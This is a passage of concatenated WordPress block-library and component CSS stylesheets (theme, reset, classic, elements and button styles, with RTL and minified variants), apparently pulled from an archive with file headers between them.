a{color:#00e;color:var(--wp--style--color--link,#00e)}.has-small-font-size{font-size:.8125em}.has-normal-font-size,.has-regular-font-size{font-size:1em}.has-medium-font-size{font-size:1.25em}.has-large-font-size{font-size:2.25em}.has-huge-font-size,.has-larger-font-size{font-size:2.625em}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}css/dist/block-library/theme-rtl.css000064400000011137151202620300013440 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ #start-resizable-editor-section { display: none; } .wp-block-audio figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-audio figcaption { color: rgba(255, 255, 255, 0.65); } .wp-block-code { font-family: Menlo, Consolas, monaco, monospace; color: #1e1e1e; padding: 0.8em 1em; border: 1px solid #ddd; border-radius: 4px; } .wp-block-embed figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-embed figcaption { color: rgba(255, 255, 255, 0.65); } .blocks-gallery-caption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .blocks-gallery-caption { color: rgba(255, 255, 255, 0.65); } .wp-block-image figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-image figcaption { color: rgba(255, 255, 255, 0.65); } .wp-block-pullquote { border-top: 4px solid currentColor; border-bottom: 4px solid currentColor; margin-bottom: 1.75em; color: currentColor; } .wp-block-pullquote cite, .wp-block-pullquote footer, .wp-block-pullquote__citation { color: currentColor; text-transform: uppercase; font-size: 0.8125em; font-style: normal; } .wp-block-navigation ul, .wp-block-navigation ul li { list-style: none; } .wp-block-navigation-link.wp-block-navigation-link { margin: 0; } .wp-block-quote { border-right: 0.25em solid currentColor; margin: 0 0 1.75em 0; padding-right: 1em; } .wp-block-quote cite, .wp-block-quote footer, .wp-block-quote__citation { color: currentColor; font-size: 0.8125em; margin-top: 1em; position: relative; font-style: normal; } .wp-block-quote.has-text-align-right { border-right: none; border-left: 0.25em solid currentColor; padding-right: 0; padding-left: 1em; } .wp-block-quote.has-text-align-center { border: none; padding-right: 0; } .wp-block-quote.is-style-large, .wp-block-quote.is-large { border: none; } .wp-block-search .wp-block-search__label { font-weight: bold; } .wp-block-group.has-background { padding: 1.25em 2.375em; margin-top: 0; margin-bottom: 0; } .wp-block-separator { border: none; border-bottom: 2px solid currentColor; margin-right: auto; margin-left: auto; opacity: 0.4; } .wp-block-separator:not(.is-style-wide):not(.is-style-dots) { max-width: 100px; } .wp-block-separator.has-background:not(.is-style-dots) { border-bottom: none; height: 1px; } .wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots) { height: 2px; } .wp-block-table { border-collapse: collapse; } .wp-block-table thead { border-bottom: 3px solid; } .wp-block-table tfoot { border-top: 3px solid; } .wp-block-table td, .wp-block-table th { padding: 0.5em; border: 1px solid; word-break: normal; } .wp-block-table figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-table figcaption { color: rgba(255, 255, 255, 0.65); } .wp-block-video figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-video figcaption { color: rgba(255, 255, 255, 0.65); } .wp-block-template-part.has-background { padding: 1.25em 2.375em; margin-top: 0; margin-bottom: 0; } #end-resizable-editor-section { display: none; }css/dist/block-library/theme-rtl.min.css000064400000005235151202620300014224 0ustar00#start-resizable-editor-section{display:none}.wp-block-audio figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio figcaption{color:hsla(0,0%,100%,.65)}.wp-block-code{font-family:Menlo,Consolas,monaco,monospace;color:#1e1e1e;padding:.8em 1em;border:1px solid #ddd;border-radius:4px}.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:hsla(0,0%,100%,.65)}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:hsla(0,0%,100%,.65)}.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:hsla(0,0%,100%,.65)}.wp-block-pullquote{border-top:4px solid;border-bottom:4px solid;margin-bottom:1.75em;color:currentColor}.wp-block-pullquote__citation,.wp-block-pullquote cite,.wp-block-pullquote footer{color:currentColor;text-transform:uppercase;font-size:.8125em;font-style:normal}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none}.wp-block-navigation-link.wp-block-navigation-link{margin:0}.wp-block-quote{border-right:.25em solid;margin:0 0 1.75em;padding-right:1em}.wp-block-quote__citation,.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;margin-top:1em;position:relative;font-style:normal}.wp-block-quote.has-text-align-right{border-right:none;border-left:.25em solid;padding-right:0;padding-left:1em}.wp-block-quote.has-text-align-center{border:none;padding-right:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large{border:none}.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-group.has-background{padding:1.25em 2.375em;margin-top:0;margin-bottom:0}.wp-block-separator{border:none;border-bottom:2px solid;margin-right:auto;margin-left:auto;opacity:.4}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){max-width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.wp-block-table{border-collapse:collapse}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{padding:.5em;border:1px solid;word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:hsla(0,0%,100%,.65)}.wp-block-template-part.has-background{padding:1.25em 2.375em;margin-top:0;margin-bottom:0}#end-resizable-editor-section{display:none}css/dist/block-library/theme.css000064400000011134151202620300012636 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ #start-resizable-editor-section { display: none; } .wp-block-audio figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-audio figcaption { color: rgba(255, 255, 255, 0.65); } .wp-block-code { font-family: Menlo, Consolas, monaco, monospace; color: #1e1e1e; padding: 0.8em 1em; border: 1px solid #ddd; border-radius: 4px; } .wp-block-embed figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-embed figcaption { color: rgba(255, 255, 255, 0.65); } .blocks-gallery-caption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .blocks-gallery-caption { color: rgba(255, 255, 255, 0.65); } .wp-block-image figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-image figcaption { color: rgba(255, 255, 255, 0.65); } .wp-block-pullquote { border-top: 4px solid currentColor; border-bottom: 4px solid currentColor; margin-bottom: 1.75em; color: currentColor; } .wp-block-pullquote cite, .wp-block-pullquote footer, .wp-block-pullquote__citation { color: currentColor; text-transform: uppercase; font-size: 0.8125em; font-style: normal; } .wp-block-navigation ul, .wp-block-navigation ul li { list-style: none; } .wp-block-navigation-link.wp-block-navigation-link { margin: 0; } .wp-block-quote { border-left: 0.25em solid currentColor; margin: 0 0 1.75em 0; padding-left: 1em; } .wp-block-quote cite, .wp-block-quote footer, .wp-block-quote__citation { color: currentColor; font-size: 0.8125em; margin-top: 1em; position: relative; font-style: normal; } .wp-block-quote.has-text-align-right { border-left: none; border-right: 0.25em solid currentColor; padding-left: 0; padding-right: 1em; } .wp-block-quote.has-text-align-center { border: none; padding-left: 0; } .wp-block-quote.is-style-large, .wp-block-quote.is-large { border: none; } .wp-block-search .wp-block-search__label { font-weight: bold; } .wp-block-group.has-background { padding: 1.25em 2.375em; margin-top: 0; margin-bottom: 0; } .wp-block-separator { border: none; border-bottom: 2px solid currentColor; margin-left: auto; margin-right: auto; opacity: 0.4; } .wp-block-separator:not(.is-style-wide):not(.is-style-dots) { max-width: 100px; } .wp-block-separator.has-background:not(.is-style-dots) { border-bottom: none; height: 1px; } .wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots) { height: 2px; } .wp-block-table { border-collapse: collapse; } .wp-block-table thead { border-bottom: 3px solid; } .wp-block-table tfoot { border-top: 3px solid; } .wp-block-table td, .wp-block-table th { padding: 0.5em; border: 1px solid; word-break: normal; } .wp-block-table figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-table figcaption { color: rgba(255, 255, 255, 0.65); } .wp-block-video figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-video figcaption { color: rgba(255, 255, 255, 0.65); } .wp-block-template-part.has-background { padding: 1.25em 2.375em; margin-top: 0; margin-bottom: 0; } #end-resizable-editor-section { display: none; }css/dist/block-library/theme.min.css000064400000005232151202620300013422 0ustar00#start-resizable-editor-section{display:none}.wp-block-audio figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio figcaption{color:hsla(0,0%,100%,.65)}.wp-block-code{font-family:Menlo,Consolas,monaco,monospace;color:#1e1e1e;padding:.8em 1em;border:1px solid #ddd;border-radius:4px}.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:hsla(0,0%,100%,.65)}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:hsla(0,0%,100%,.65)}.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:hsla(0,0%,100%,.65)}.wp-block-pullquote{border-top:4px solid;border-bottom:4px solid;margin-bottom:1.75em;color:currentColor}.wp-block-pullquote__citation,.wp-block-pullquote cite,.wp-block-pullquote footer{color:currentColor;text-transform:uppercase;font-size:.8125em;font-style:normal}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none}.wp-block-navigation-link.wp-block-navigation-link{margin:0}.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote__citation,.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;margin-top:1em;position:relative;font-style:normal}.wp-block-quote.has-text-align-right{border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote.has-text-align-center{border:none;padding-left:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large{border:none}.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-group.has-background{padding:1.25em 2.375em;margin-top:0;margin-bottom:0}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto;opacity:.4}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){max-width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.wp-block-table{border-collapse:collapse}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{padding:.5em;border:1px solid;word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:hsla(0,0%,100%,.65)}.wp-block-template-part.has-background{padding:1.25em 2.375em;margin-top:0;margin-bottom:0}#end-resizable-editor-section{display:none}css/dist/block-library/classic-rtl.css000064400000000414151202620300013753 0ustar00.wp-block-button__link{ background-color:#32373c; border-radius:9999px; box-shadow:none; color:#fff; font-size:1.125em; padding:calc(.667em + 2px) calc(1.333em + 2px); text-decoration:none; } .wp-block-file__button{ background:#32373c; color:#fff; }css/dist/block-library/elements-rtl.css000064400000000047151202620300014150 0ustar00.wp-element-button{ cursor:pointer; }css/dist/block-library/reset-rtl.css000064400000004345151202620300013463 0ustar00:where(.editor-styles-wrapper){ background:#fff; color:initial; font-family:serif; font-size:medium; line-height:normal; } :where(.editor-styles-wrapper) .wp-align-wrapper{ max-width:840px; } :where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-full,:where(.editor-styles-wrapper) .wp-align-wrapper>.wp-block{ max-width:none; } :where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-wide{ max-width:840px; } :where(.editor-styles-wrapper) a{ transition:none; } :where(.editor-styles-wrapper) code,:where(.editor-styles-wrapper) kbd{ background:inherit; font-family:monospace; font-size:inherit; margin:0; padding:0; } :where(.editor-styles-wrapper) p{ font-size:revert; line-height:revert; margin:revert; } :where(.editor-styles-wrapper) ol,:where(.editor-styles-wrapper) ul{ box-sizing:border-box; list-style-type:revert; margin:revert; padding:revert; } :where(.editor-styles-wrapper) ol ol,:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ol,:where(.editor-styles-wrapper) ul ul{ margin:revert; } :where(.editor-styles-wrapper) ol li,:where(.editor-styles-wrapper) ul li{ margin:revert; } :where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ul{ list-style-type:revert; } :where(.editor-styles-wrapper) h1,:where(.editor-styles-wrapper) h2,:where(.editor-styles-wrapper) h3,:where(.editor-styles-wrapper) h4,:where(.editor-styles-wrapper) h5,:where(.editor-styles-wrapper) h6{ color:revert; font-size:revert; font-weight:revert; line-height:revert; margin:revert; } :where(.editor-styles-wrapper) select{ -webkit-appearance:revert; background:revert; border:revert; border-radius:revert; box-shadow:revert; color:revert; cursor:revert; font-family:system-ui; font-size:revert; font-weight:revert; line-height:revert; margin:revert; max-width:revert; min-height:revert; outline:revert; padding:revert; text-shadow:revert; transform:revert; vertical-align:revert; } :where(.editor-styles-wrapper) select:disabled,:where(.editor-styles-wrapper) select:focus{ background-color:revert; background-image:revert; border-color:revert; box-shadow:revert; color:revert; cursor:revert; text-shadow:revert; transform:revert; }css/dist/block-library/editor-elements-rtl.css000064400000000131151202620300015426 0ustar00.wp-element-button{ cursor:revert; } .wp-element-button[role=textbox]{ cursor:text; }css/dist/block-library/elements-rtl.min.css000064400000000042151202620300014725 0ustar00.wp-element-button{cursor:pointer}css/dist/block-library/classic-rtl.min.css000064400000000353151202620300014537 0ustar00.wp-block-button__link{background-color:#32373c;border-radius:9999px;box-shadow:none;color:#fff;font-size:1.125em;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-file__button{background:#32373c;color:#fff}css/dist/block-library/editor-elements.min.css000064400000000116151202620300015414 0ustar00.wp-element-button{cursor:revert}.wp-element-button[role=textbox]{cursor:text}css/dist/block-library/reset-rtl.min.css000064400000004024151202620300014237 0ustar00:where(.editor-styles-wrapper){background:#fff;color:initial;font-family:serif;font-size:medium;line-height:normal}:where(.editor-styles-wrapper) .wp-align-wrapper{max-width:840px}:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-full,:where(.editor-styles-wrapper) .wp-align-wrapper>.wp-block{max-width:none}:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-wide{max-width:840px}:where(.editor-styles-wrapper) a{transition:none}:where(.editor-styles-wrapper) code,:where(.editor-styles-wrapper) kbd{background:inherit;font-family:monospace;font-size:inherit;margin:0;padding:0}:where(.editor-styles-wrapper) p{font-size:revert;line-height:revert;margin:revert}:where(.editor-styles-wrapper) ol,:where(.editor-styles-wrapper) ul{box-sizing:border-box;list-style-type:revert;margin:revert;padding:revert}:where(.editor-styles-wrapper) ol ol,:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ol,:where(.editor-styles-wrapper) ul ul{margin:revert}:where(.editor-styles-wrapper) ol li,:where(.editor-styles-wrapper) ul li{margin:revert}:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ul{list-style-type:revert}:where(.editor-styles-wrapper) h1,:where(.editor-styles-wrapper) h2,:where(.editor-styles-wrapper) h3,:where(.editor-styles-wrapper) h4,:where(.editor-styles-wrapper) h5,:where(.editor-styles-wrapper) h6{color:revert;font-size:revert;font-weight:revert;line-height:revert;margin:revert}:where(.editor-styles-wrapper) select{-webkit-appearance:revert;background:revert;border:revert;border-radius:revert;box-shadow:revert;color:revert;cursor:revert;font-family:system-ui;font-size:revert;font-weight:revert;line-height:revert;margin:revert;max-width:revert;min-height:revert;outline:revert;padding:revert;text-shadow:revert;transform:revert;vertical-align:revert}:where(.editor-styles-wrapper) select:disabled,:where(.editor-styles-wrapper) select:focus{background-color:revert;background-image:revert;border-color:revert;box-shadow:revert;color:revert;cursor:revert;text-shadow:revert;transform:revert}css/dist/block-library/elements.min.css000064400000000042151202620300014126 0ustar00.wp-element-button{cursor:pointer}css/dist/block-library/classic.css000064400000000414151202620300013154 0ustar00.wp-block-button__link{ background-color:#32373c; border-radius:9999px; box-shadow:none; color:#fff; font-size:1.125em; padding:calc(.667em + 2px) calc(1.333em + 2px); text-decoration:none; } .wp-block-file__button{ background:#32373c; color:#fff; }css/dist/block-library/classic.min.css000064400000000353151202620300013740 0ustar00.wp-block-button__link{background-color:#32373c;border-radius:9999px;box-shadow:none;color:#fff;font-size:1.125em;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-file__button{background:#32373c;color:#fff}css/dist/block-library/reset.min.css000064400000004024151202620300013440 0ustar00:where(.editor-styles-wrapper){background:#fff;color:initial;font-family:serif;font-size:medium;line-height:normal}:where(.editor-styles-wrapper) .wp-align-wrapper{max-width:840px}:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-full,:where(.editor-styles-wrapper) .wp-align-wrapper>.wp-block{max-width:none}:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-wide{max-width:840px}:where(.editor-styles-wrapper) a{transition:none}:where(.editor-styles-wrapper) code,:where(.editor-styles-wrapper) kbd{background:inherit;font-family:monospace;font-size:inherit;margin:0;padding:0}:where(.editor-styles-wrapper) p{font-size:revert;line-height:revert;margin:revert}:where(.editor-styles-wrapper) ol,:where(.editor-styles-wrapper) ul{box-sizing:border-box;list-style-type:revert;margin:revert;padding:revert}:where(.editor-styles-wrapper) ol ol,:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ol,:where(.editor-styles-wrapper) ul ul{margin:revert}:where(.editor-styles-wrapper) ol li,:where(.editor-styles-wrapper) ul li{margin:revert}:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ul{list-style-type:revert}:where(.editor-styles-wrapper) h1,:where(.editor-styles-wrapper) h2,:where(.editor-styles-wrapper) h3,:where(.editor-styles-wrapper) h4,:where(.editor-styles-wrapper) h5,:where(.editor-styles-wrapper) h6{color:revert;font-size:revert;font-weight:revert;line-height:revert;margin:revert}:where(.editor-styles-wrapper) select{-webkit-appearance:revert;background:revert;border:revert;border-radius:revert;box-shadow:revert;color:revert;cursor:revert;font-family:system-ui;font-size:revert;font-weight:revert;line-height:revert;margin:revert;max-width:revert;min-height:revert;outline:revert;padding:revert;text-shadow:revert;transform:revert;vertical-align:revert}:where(.editor-styles-wrapper) select:disabled,:where(.editor-styles-wrapper) select:focus{background-color:revert;background-image:revert;border-color:revert;box-shadow:revert;color:revert;cursor:revert;text-shadow:revert;transform:revert}css/dist/block-library/elements.css000064400000000047151202620300013351 0ustar00.wp-element-button{ cursor:pointer; }css/dist/block-library/reset.css000064400000004345151202620300012664 0ustar00:where(.editor-styles-wrapper){ background:#fff; color:initial; font-family:serif; font-size:medium; line-height:normal; } :where(.editor-styles-wrapper) .wp-align-wrapper{ max-width:840px; } :where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-full,:where(.editor-styles-wrapper) .wp-align-wrapper>.wp-block{ max-width:none; } :where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-wide{ max-width:840px; } :where(.editor-styles-wrapper) a{ transition:none; } :where(.editor-styles-wrapper) code,:where(.editor-styles-wrapper) kbd{ background:inherit; font-family:monospace; font-size:inherit; margin:0; padding:0; } :where(.editor-styles-wrapper) p{ font-size:revert; line-height:revert; margin:revert; } :where(.editor-styles-wrapper) ol,:where(.editor-styles-wrapper) ul{ box-sizing:border-box; list-style-type:revert; margin:revert; padding:revert; } :where(.editor-styles-wrapper) ol ol,:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ol,:where(.editor-styles-wrapper) ul ul{ margin:revert; } :where(.editor-styles-wrapper) ol li,:where(.editor-styles-wrapper) ul li{ margin:revert; } :where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ul{ list-style-type:revert; } :where(.editor-styles-wrapper) h1,:where(.editor-styles-wrapper) h2,:where(.editor-styles-wrapper) h3,:where(.editor-styles-wrapper) h4,:where(.editor-styles-wrapper) h5,:where(.editor-styles-wrapper) h6{ color:revert; font-size:revert; font-weight:revert; line-height:revert; margin:revert; } :where(.editor-styles-wrapper) select{ -webkit-appearance:revert; background:revert; border:revert; border-radius:revert; box-shadow:revert; color:revert; cursor:revert; font-family:system-ui; font-size:revert; font-weight:revert; line-height:revert; margin:revert; max-width:revert; min-height:revert; outline:revert; padding:revert; text-shadow:revert; transform:revert; vertical-align:revert; } :where(.editor-styles-wrapper) select:disabled,:where(.editor-styles-wrapper) select:focus{ background-color:revert; background-image:revert; border-color:revert; box-shadow:revert; color:revert; cursor:revert; text-shadow:revert; transform:revert; }css/dist/block-library/editor-elements.css000064400000000131151202620300014627 0ustar00.wp-element-button{ cursor:revert; } .wp-element-button[role=textbox]{ cursor:text; }css/dist/block-library/editor-elements-rtl.min.css000064400000000116151202620300016213 0ustar00.wp-element-button{cursor:revert}.wp-element-button[role=textbox]{cursor:text}css/dist/components/style-rtl.css000064400000405604151202620300013135 0ustar00@charset "UTF-8"; /** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .components-animate__appear { animation: components-animate__appear-animation 0.1s cubic-bezier(0, 0, 0.2, 1) 0s; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .components-animate__appear { animation-duration: 1ms; } } .components-animate__appear.is-from-top, .components-animate__appear.is-from-top.is-from-left { transform-origin: top right; } .components-animate__appear.is-from-top.is-from-right { transform-origin: top left; } .components-animate__appear.is-from-bottom, .components-animate__appear.is-from-bottom.is-from-left { transform-origin: bottom right; } .components-animate__appear.is-from-bottom.is-from-right { transform-origin: bottom left; } @keyframes components-animate__appear-animation { from { transform: translateY(-2em) scaleY(0) scaleX(0); } to { transform: translateY(0%) scaleY(1) scaleX(1); } } .components-animate__slide-in { animation: components-animate__slide-in-animation 0.1s cubic-bezier(0, 0, 0.2, 1); animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .components-animate__slide-in { animation-duration: 1ms; } } .components-animate__slide-in.is-from-left { transform: translateX(-100%); } .components-animate__slide-in.is-from-right { transform: translateX(100%); } @keyframes components-animate__slide-in-animation { 100% { transform: translateX(0%); } } .components-animate__loading { animation: components-animate__loading 1.6s ease-in-out infinite; } @keyframes components-animate__loading { 0% { opacity: 0.5; } 50% { opacity: 1; } 100% { opacity: 0.5; } } .components-autocomplete__popover .components-popover__content > div { padding: 16px; min-width: 220px; } .components-autocomplete__result.components-button { display: flex; height: auto; min-height: 36px; text-align: right; width: 100%; } .components-autocomplete__result.components-button.is-selected { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 2px var(--wp-admin-theme-color); } .components-button-group { display: inline-block; } .components-button-group .components-button { border-radius: 0; display: inline-flex; color: #1e1e1e; box-shadow: inset 0 0 0 1px #1e1e1e; } .components-button-group .components-button + .components-button { margin-right: -1px; } .components-button-group .components-button:first-child { border-radius: 0 2px 2px 0; } .components-button-group .components-button:last-child { border-radius: 2px 0 0 2px; } .components-button-group .components-button:focus, .components-button-group .components-button.is-primary { position: relative; z-index: 1; } .components-button-group .components-button.is-primary { box-shadow: inset 0 0 0 1px #1e1e1e; } .components-button { display: inline-flex; text-decoration: none; font-size: 13px; margin: 0; border: 0; cursor: pointer; -webkit-appearance: none; background: none; transition: box-shadow 0.1s linear; height: 36px; align-items: center; box-sizing: border-box; padding: 6px 12px; border-radius: 2px; color: #1e1e1e; /** * Primary button style. */ /** * Secondary and tertiary buttons. */ /** * Secondary button style. */ /** * Tertiary buttons. */ /** * Destructive buttons. */ /** * Link buttons. */ } @media (prefers-reduced-motion: reduce) { .components-button { transition-duration: 0s; } } .components-button[aria-expanded=true], .components-button:hover { color: #007cba; color: var(--wp-admin-theme-color); } .components-button[aria-disabled=true]:hover { color: initial; } .components-button:focus:not(:disabled) { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 3px solid transparent; } .components-button.is-primary { white-space: nowrap; background: #007cba; background: var(--wp-admin-theme-color); color: #fff; text-decoration: none; text-shadow: none; outline: 1px solid transparent; } .components-button.is-primary:hover:not(:disabled) { background: #006ba1; background: var(--wp-admin-theme-color-darker-10); color: #fff; } .components-button.is-primary:active:not(:disabled) { background: #005a87; background: var(--wp-admin-theme-color-darker-20); border-color: #005a87; border-color: var(--wp-admin-theme-color-darker-20); color: #fff; } .components-button.is-primary:focus:not(:disabled) { box-shadow: inset 0 0 0 1px #fff, 0 0 0 2px #007cba; box-shadow: inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .components-button.is-primary:disabled, .components-button.is-primary:disabled:active:enabled, .components-button.is-primary[aria-disabled=true], .components-button.is-primary[aria-disabled=true]:enabled, .components-button.is-primary[aria-disabled=true]:active:enabled { color: rgba(255, 255, 255, 0.4); background: #007cba; background: var(--wp-admin-theme-color); border-color: #007cba; border-color: var(--wp-admin-theme-color); opacity: 1; outline: none; } .components-button.is-primary:disabled:focus:enabled, .components-button.is-primary:disabled:active:enabled:focus:enabled, .components-button.is-primary[aria-disabled=true]:focus:enabled, .components-button.is-primary[aria-disabled=true]:enabled:focus:enabled, .components-button.is-primary[aria-disabled=true]:active:enabled:focus:enabled { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #007cba; box-shadow: 0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color); } .components-button.is-primary.is-busy, .components-button.is-primary.is-busy:disabled, .components-button.is-primary.is-busy[aria-disabled=true] { color: #fff; background-size: 100px 100%; /* stylelint-disable */ background-image: linear-gradient(45deg, #007cba 33%, #005a87 33%, #005a87 70%, #007cba 70%); background-image: linear-gradient(45deg, var(--wp-admin-theme-color) 33%, var(--wp-admin-theme-color-darker-20) 33%, var(--wp-admin-theme-color-darker-20) 70%, var(--wp-admin-theme-color) 70%); /* stylelint-enable */ border-color: #007cba; border-color: var(--wp-admin-theme-color); } .components-button.is-secondary, .components-button.is-tertiary { outline: 1px solid transparent; } 